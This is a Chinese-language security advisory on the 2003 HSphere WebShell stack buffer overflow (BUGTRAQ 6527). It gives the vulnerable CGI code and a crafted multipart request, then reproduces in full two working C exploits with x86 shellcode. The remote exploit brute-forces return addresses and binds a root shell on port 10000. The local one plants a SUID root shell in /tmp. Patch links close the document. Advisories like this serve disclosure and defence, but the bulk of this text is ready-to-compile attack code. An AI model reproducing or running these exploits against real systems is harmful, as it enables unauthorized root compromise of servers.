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安全漏洞
H-Sphere WebShell远程缓冲区溢出漏洞
发布日期：2003-01-06
更新日期：2003-01-10
受影响系统：
HSphere Webshell 20020224描述：
BUGTRAQ ID: 6527
Webshell是一款基于WEB的应用程序，可以作为文件管理器进行文件上传和下载处理，使用用户名/密码方式进行认证，以suid root属性运行。
Webshell中处理HTTP头信息的代码存在缓冲区溢出漏洞，远程攻击者可以利用这个漏洞覆盖堆栈中数据，以root用户权限在系统上执行任意指令。
缓冲区溢出是由于CGI.C文件中的CGI::readFile()函数对边界缺少充分检查：
int CGI::readFile(istream& is, ostream& os, const char* boundary) {
char b1[255];
strcpy(b1, "\r");
strcat(b1, boundary);
上面的'boundary'字符串直接来自用户提交的HTTP头数据中，如：
POST /cgi-bin/webshell HTTP/1.1
Host: www.vulnerablesite.com
Content-Type: multipart/form-data boundary=AAAAA (300 "A"s)
Content-Length: 900
--AAAAA (300 "A"s)
Content-Disposition: form-data; name="TESTNAME"; filename="TESTFILENAME"
上面的请求可导致'b1'数组填充300个'A'并覆盖保存的EIP值。注意覆盖'b1'的不是取自'Content-Type'字段的数据，而是取自'Content-Disposition'字段的预处理行中，为了能利用这个漏洞所以上面双方的boundary标记需要相等。
<*来源：Carl Livitt （carl@learningshophull.co.uk）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=104187147309413&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
POST /cgi-bin/webshell HTTP/1.1
Host: www.vulnerablesite.com
Content-Type: multipart/form-data boundary=AAAAA (300 "A"s)
Content-Length: 900
--AAAAA (300 "A"s)
Content-Disposition: form-data; name="TESTNAME"; filename="TESTFILENAME"
Carl Livitt（carl@learningshophull.co.uk） 提供了如下测试程序：
/*
* Remote r00t exploit for Webshell 2.4 (possibly other versions).
* Vulnerability found and exploit written by Carl Livitt
* (carl (@) learningshophull.co.uk).
*
Exploits a simple stack-based buffer overflow in CGI.C of the
HSphere webshell component which is installed SUID & GUID root
by default.
This exploit will bind a r00t shell to port 10000 (by default) of
the remote box. Feel free to use any shellcode of your choice.
This code is a butchered version of the local exploit for
webshell. It works on my test box, and won't be refined any further,
although the bruteforcer should work on most webshell installations.
To exploit:
gcc -o webshell-remote webshell-remote.c
./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell
That's it. It'll work on almost all vulnerable hosts (running Linux).
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
/*
* Play with these to make it work (if it fails!)
*/
#define EGG_SIZE_START 280
#define EGG_SIZE_END 291
#define RET_ADDR_START 0xbffff010
#define RET_ADDR_END 0xbfffffff
#define RET_ADDR_INCR 768
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"
#define ROOT_SHELL_PORT 10000
// should only be needed against localhost. Set to 0 to disable.
#define SLEEP_TIME 125000000L
// don't play with this, you'll only break things.
#define CONTENT_LENGTH 43
void make_shellcode();
void make_exploit_buffer();
void make_boundary_buffer();
/*
* 88 bytes portbinding shellcode - linux-x86
* - by bighawk (bighawk@warfare.com)
* setuid(0) and setgid(0) added by Carl Livitt
*/
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0)
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"XX" // XX is port number
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000
/*
* Ahhhh, global variables make life easy :)
*/
char sc[1024];
char egg[1024];
char exploit_buf[4096];
char target[256];
int port=80;
char location[1024];
unsigned long RET_ADDR;
int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT;
char usage[]=
"-h This cruft\n"
"-t host Target host (eg. www.xyzzy.com)\n"
"-p port Target port [80]\n"
"-P port Port to bind shell on remote host [10000]\n"
"-l location Location of webshell (eg. /cgi-bin/webshell)\n\n"
"Example:\n\n"
"./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n"
"This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n"
"and bind a root shell to port 12345 if successful.\n\n";
/*
* The fun begins here...
*/
main(int argc, char **argv) {
int ch, websock, shellsock,r=1;
struct hostent *host;
struct sockaddr_in saddr;
char buf[8092];
struct timespec sleepTime;
fd_set rfds;
int retval;
/*
* Process command-line args
*/
while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
switch(ch) {
case 'h':
printf("%s",usage);
exit(0);
break;
case 't':
strncpy(target, optarg, sizeof(target)-1);
break;
case 'p':
port=atoi(optarg);
break;
case 'P':
root_shell_port=atoi(optarg);
break;
case 'l':
strncpy(location, optarg, sizeof(location)-1);
break;
default:
printf("%s", usage);
exit(0);
break;
}
}
/*
* Tell the attacker we're about to start the exploit.
* Look up the IP address of the host specified on the
* command-line
*/
if((host=gethostbyname(target))==NULL) {
printf("Host not found. Usage:\n%s\n", usage);
exit(1);
}
printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);
/*
* Start the bruteforce loop
*/
for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
/*
* Setup the exploit strings and
* HTTP headers. The Accept-Encoding header
* will hold shellcode: it will be passed
* to the environment of webshell giving us
* a reasonably predictable RET address.
*/
make_shellcode();
make_boundary_buffer();
make_exploit_buffer();
/*
* Now connect to the host and send the exploit
* string...
*/
if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(port);
printf(".");fflush(stdout);
if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
perror("connect()");
exit(1);
}
send(websock, exploit_buf, strlen(exploit_buf), 0);
close(websock);
/*
* This pause is needed when exploiting localhost.
* It can be ignored against remote hosts (I think!)
*/
sleepTime.tv_sec=0;
sleepTime.tv_nsec=SLEEP_TIME;
nanosleep(&sleepTime, &sleepTime);
/*
* If the exploit attempt succeded, there should now
* be a r00t shell bound to port xxxxx of the target
* box. Lets try and connect to it...
*/
if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(root_shell_port);
if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
goto CONNECTED; // goto? Damn amateurs...
/*
* If we get here, the exploit failed. Try the next
* iteration of the brute force loop.
*/
close(shellsock);
}
}
/*
* If we get here, then the bruteforce was exhausted without a
* succesful exploit.
*/
printf("\nFailed to exploit the webshell binary. :(\n");
exit(0);
CONNECTED:
/*
* We're now connected to the remote host. Issue
* some commands... ('id' and 'uname -a' by default)
*/
printf("\n\nExploit successful!\nIssuing some commands...\n\n");
if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
perror("send()");
exit(1);
}
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s", buf);
send(shellsock, COMMAND2, strlen(COMMAND2), 0);
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s\n", buf);
printf("You are now at a bash prompt...\n");
/*
* Now let the attacker issue commands to the remote
* shell, just as if (s)he had launched 'nc host 10000'.
* Note the dodgy coding of assigning NULLs to the buf[]
* array. What would happen if recv() or read() returned -1 ?
* You guessed it: we mung some variables on the stack!
*/
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(shellsock, &rfds);
retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
if(retval) {
if(FD_ISSET(shellsock, &rfds)) {
buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
send(shellsock, buf, strlen(buf), 0);
}
}
} while(retval && r); // loop until connection terminates
close(shellsock);
exit(0);
}
/*
* Create the HTTP request that will setup the exploit
* conditions in webshell. Shellcode is stored in the
* Accept-Encoding HTTP header.
*/
void make_exploit_buffer() {
sprintf(exploit_buf,"POST %s HTTP/1.1\n",location);
sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
sprintf(exploit_buf,"%sAccept-Encoding: %s\n",exploit_buf, sc);
sprintf(exploit_buf,"%s%s\n",exploit_buf,egg);
sprintf(exploit_buf,"%sContent-Length: %d\n\n",exploit_buf,EGG_SIZE*2);
sprintf(exploit_buf,"%s--%s\n",exploit_buf, egg+CONTENT_LENGTH);
sprintf(exploit_buf,"%sContent-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n",exploit_buf);
sprintf(exploit_buf,"%s%-*s\n",exploit_buf, EGG_SIZE*4," ");
}
/*
* Create the buffer that holds the 'boundary' data. This
* is what actually overflows the buffer on the stack.
*/
void make_boundary_buffer() {
int i;
memset(egg, 0, EGG_SIZE-1);
memcpy(egg, "Content-Type: multipart/form-data boundary=", CONTENT_LENGTH);
for(i=0;i<EGG_SIZE; i+=4) {
egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
}
egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
}
/*
* Creates a 1024-byte buffer holding NOPs and shellcode.
*/
void make_shellcode() {
// Fill in the port number
shellcode[33]=htons(root_shell_port)&0xff;
shellcode[34]=(htons(root_shell_port)>>8)&0xff;
// Finish making shellcode buffer
memset(sc, 0x90,1024);
memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
sc[1023]='\0';
} Carl Livitt（carl@learningshophull.co.uk） 提供了如下测试程序：
/*
* Local r00t exploit for Webshell 2.4 (possibly other versions).
* Vulnerability found and exploit written by Carl Livitt
* (carl (@) learningshophull.co.uk).
*
Exploits a simple stack-based buffer overflow in CGI.C of the
HSphere webshell component which is installed SUID & GUID root
by default.
Uses a bruteforce method to guess the return address on the stack
and the amount of data to overflow the buffer with; this ensures
it works under many different environments. I originally hardcoded
these values, but found that this was unreliable.
Copy this file (webshell-local.c) to /tmp and then:
cd /tmp
gcc -o webshell-local webshell-local.c
cd /path/to/the/webshell/directory
/tmp/webshell-local
That should get you r00t without any messing about.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#define EGG_SIZE_START 257
#define EGG_SIZE_END 291
#define RET_ADDR_START 0xbfffe910
#define RET_ADDR_END 0xbfffffff
#define RET_ADDR_INCREMENT 256
#define CONTENT_LENGTH 42
#define SHELLSCRIPT_FILE "/tmp/zz"
#define EXPLOIT_FILE "/tmp/.webshell.txt"
#define ROOT_SHELL "/tmp/rs"
#define WEBSHELL_PROGRAM "./webshell"
void create_shellscript_file();
void make_shellcode();
void make_exploit_buffer();
void setup_environment();
void make_exploit_file();
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh
char sc[1024];
char egg[1024];
char shell_script[]=
"#!/bin/sh\n"
"cd /tmp\n"
"cat << ROOTSHELL > "ROOT_SHELL".c\n"
"main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
"ROOTSHELL\n"
"gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
"chown root:root "ROOT_SHELL"*\n"
"chmod 6777 "ROOT_SHELL"\n"
"chmod 0666 "ROOT_SHELL".c\n";
char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";
int EGG_SIZE=EGG_SIZE_START;
unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
char *env[4];
/*
* The fun begins here...
*/
main(int argc, char **argv) {
int brute_force_mode=1, status, pid;
struct stat s;
/*
* Check to see if the exploit has been run before...
*/
if(stat((char *)ROOT_SHELL,&s)==0) {
printf("Root shell already exists... executing...\n");
system(ROOT_SHELL);
exit(0);
}
/*
* Make sure that the webshell binary can be found
* and is SUID root
*/
if(stat(WEBSHELL_PROGRAM, &s)!=0) {
printf(WEBSHELL_PROGRAM" not found!\n");
exit(1);
} else if(!(s.st_mode&S_ISUID)) {
printf(WEBSHELL_PROGRAM" is not SUID root!\n");
exit(1);
}
/*
* Start the bruteforce loop...
*/
printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
do {
// setup exploit buffers
make_shellcode();
make_exploit_buffer();
setup_environment();
make_exploit_file();
create_shellscript_file();
printf(".");fflush(stdout);
// fork and execute the webshell binary, passing it the
// exploit input.
if((pid=fork())==0) {
system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
exit(0);
} else {
waitpid(pid, &status, 0);
}
// If ROOT_SHELL exists, then the exploit was successful.
// So execute it!
if(stat((char *)ROOT_SHELL,&s)==0) {
printf("\nEntering r00t shell...\n\n");
system(ROOT_SHELL);
exit(0);
}
// The ROOT_SHELL did not exist, so adjust the bruteforce
// parameters and continue...
EGG_SIZE++;
if(EGG_SIZE>EGG_SIZE_END) {
RET_ADDR+=RET_ADDR_INCREMENT;
if(RET_ADDR>RET_ADDR_END) {
printf("Leaving bruteforce mode...\n");
brute_force_mode=0;
} else {
EGG_SIZE=EGG_SIZE_START;
}
}
} while(brute_force_mode);
printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
}
/*
* Creates the file to be used as stdin for webshell.
*/
void make_exploit_file() {
FILE *fp;
if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
printf("Could not create exploit file %s\n", EXPLOIT_FILE);
exit(1);
}
fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
fclose(fp);
}
/*
* Create the malicious environment in which webshell will run
*/
void setup_environment() {
int i;
unsetenv("S");
unsetenv("CONTENT_LENGTH");
unsetenv("REQUEST_METHOD");
unsetenv("CONTENT_TYPE");
env[0]=strdup(egg);
env[1]=strdup(sc);
env[2]=strdup("CONTENT_LENGTH=261");
env[3]=strdup("REQUEST_METHOD=POST");
env[4]=NULL;
for(i=0;i<4;i++)
putenv(env[i]);
}
/*
* It is the 'boundary' section of a multipart/form-data MIME type
* that overflows the buffer in webshell. This function creates the
* malicious boundary.
*/
void make_exploit_buffer() {
int i;
memset(egg, 0, EGG_SIZE-1);
memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
for(i=0;i<EGG_SIZE; i+=4) {
egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
}
egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
}
/*
* Makes a 1024-byte buffer filled with NOPs and shellcode
*/
void make_shellcode() {
memset(sc, 0x90,1024);
sc[0]='S';
sc[1]='=';
memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
sc[1023]='\0';
}
/*
* Generate the shellscript that will be executed by the shellcode.
* By default, it will create a SUID root shell in /tmp
*/
void create_shellscript_file() {
FILE *fp;
if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
printf("Could not create %s\n", SHELLSCRIPT_FILE);
exit(1);
}
fprintf(fp, "%s", shell_script);
fclose(fp);
chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
}
建议：
厂商补丁：
HSphere
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
升级程序：
http://www.hsphere.com/WebShell-2.4.tar.gz
或下载补丁：
http://www.psoft.net/misc/webshell_patch.html
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